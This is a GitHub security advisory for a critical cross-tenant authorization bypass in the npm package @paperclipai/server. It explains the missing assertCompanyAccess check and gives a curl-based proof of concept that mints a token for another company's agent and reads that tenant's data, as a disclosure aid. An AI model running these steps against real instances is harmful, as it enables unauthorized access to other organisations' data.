GitHub Advisoryadvisory · npm

GHSA-47wq-cj9q-wpmp Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

CRITICAL Published 2026-04-16 Modified 2026-04-16 Official page ↗
Ecosystem
npm
Packages
@paperclipai/server
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-1220, CWE-285, CWE-639, CWE-862
Reviewed
2026-04-16

Affected packages

• npm @paperclipai/server: < 2026.416.0 → fixed in 2026.416.0

Description

> Isolated paperclip instance running in authenticated mode (default config) > on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post > the 2026.410.0 patch). This advisory was verified on an unmodified build. Summary `POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and `DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts` lines 2050-2087) only call `assertBoard` to authorize the caller. They never call `assertCompanyAccess` and never verify that the caller is a member of the company that owns the target agent. Any authenticated board user (including a freshly signed-up account with zero company memberships and no `instance_admin` role) can mint a plaintext `pcp_*` agent API token for any agent in any company on the instance. The minted token is bound to the victim agent's `companyId` server-side, so every downstream `assertCompanyAccess` check on that token authorizes operations inside the victim tenant. This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover. Root Cause `server/src/routes/agents.ts`, lines 2050-2087: ```ts router.get("/agents/:id/keys", async (req, res) => { assertBoard(req); // { assertBoard(req); // { assertBoard(req); // { const existing = await getById(id); // victim agent ... const token = createToken(); const keyHash = hashToken(token); const created = await db .insert(agentApiKeys) .values({ agentId: id, companyId: existing.companyId, // rows[0]); return { id: created.id, name: created.name, token, // > Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow > (no invite, no verification) and confirms via `GET /api/companies` that she > is a member of zero companies. She has no tenant access through the normal > authorization path. ```bash Step 1: attacker signs up as an unprivileged board user curl -s -X POST http://:3102/api/auth/sign-up/email \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"P@ssw0rd456","name":"mallory"}' Save the `better-auth.session_token` cookie from Set-Cookie. Step 2: confirm zero company membership curl -s -H "Cookie: $MALLORY_SESSION" http://:3102/api/companies -> [] ``` > Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys` > targeting an agent in Victim Corp (a company she is NOT a member of). The > server returns a plaintext `pcp_*` token tied to the victim's `companyId`. > There is no authorization error. `assertBoard` passed because Mallory is a > board user; `assertCompanyAccess` was never called. ```bash Step 3: mint a plaintext token for a victim agent VICTIM_AGENT= curl -s -X POST \ -H "Cookie: $MALLORY_SESSION" \ -H "Origin: http://:3102" \ -H "Content-Type: application/json" \ -d '{"name":"pwnkit"}' \ http://:3102/api/agents/$VICTIM_AGENT/keys -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... } ``` > Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware` > resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every > downstream `assertCompanyAccess` gate authorizes reads against Victim Corp. > Mallory can now enumerate the victim's company metadata, issues, approvals, > and agent configuration — none of which she had access to 30 seconds ago. ```bash Step 4: use the stolen token to read victim company data STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25 VICTIM_CO= curl -s -H "Authorization: Bearer $STOLEN" \ http://:3102/api/companies/$VICTIM_CO -> 200 { "id":"...", "name":"Victim Corp", ... } curl -s -H "Authorization: Bearer $STOLEN" \ http://:3102/api/companies/$VICTIM_CO/issues -> 200 [ ...every issue in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://:3102/api/companies/$VICTIM_CO/approvals -> 200 [ ...every approval in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://:3102/api/agents/$VICTIM_AGENT -> 200 { ...full agent config incl. adapter settings... } ``` Observed outputs (all verified on live instance at time of submission): • `POST /api/agents/:id/keys` → 201 with plaintext `token` bound to …

Related

Weakness · CWE (4)

  • CWE-1220 Insufficient Granularity of Access Control weakness
  • CWE-285 Improper Authorization weakness
  • CWE-639 Authorization Bypass Through User-Controlled Key weakness
  • CWE-862 Missing Authorization weakness

References